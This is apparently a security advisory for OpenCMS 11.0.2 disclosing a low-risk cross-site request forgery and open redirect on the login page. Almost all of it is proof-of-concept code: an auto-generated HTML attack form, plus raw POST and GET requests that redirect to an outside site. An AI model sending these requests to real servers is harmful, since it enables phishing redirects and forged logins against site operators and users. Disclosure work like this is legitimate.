OpenCMS 11.0.2 Cross Site Request Forgery / Open Redirection

2021.03.09
Credit: Daniel Moreno
Risk: Low
Local: No
Remote: Yes
CVE: N/A

OpenCMS v11.0.2 -------------------------------------------------------------------------------------------------------------------------------------------------- CSRF - Login page vulnerable (https://vulnerablehost.com/system/login - CSRF needs valid JSESSIONID to work, maybe logged Admin user) <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://vulnerablehost.com/system/login" method="POST"> <input type="hidden" name="ocUname" value="anything" /> <input type="hidden" name="ocPword" value="anything" /> <input type="hidden" name="loginRedirect" value="https&#58;&#47;&#47;google&#46;com" /> <input type="submit" value="Submit request" /> </form> </body> </html> -------------------------------------------------------------------------------------------------------------------------------------------------- Open Redirect (POST method - Open Redirect needs valid JSESSIONID to work, maybe logged Admin user) POST /system/login HTTP/1.1 Host: vulnerablehost.com Connection: close Content-Length: 63 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://vulnerablehost.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://vulnerablehost.com/system/login Accept-Encoding: gzip, deflate Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: JSESSIONID_opencms=valid JSESSIONID authenticated cookie ocUname=Admin&ocPword=admin123&loginRedirect=https://google.com -------------------------------------------------------------------------------------------------------------------------------------------------- Open Redirect GET method - Open Redirect needs valid JSESSIONID to work, maybe logged Admin user) GET /system/login?loginRedirect=https://google.com HTTP/1.1 Host: vulnerablehost.com Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://vulnerablehost.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://vulnerablehost.com/system/login Accept-Encoding: gzip, deflate Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: JSESSIONID=Valid JSESSIONID authenticated cookie


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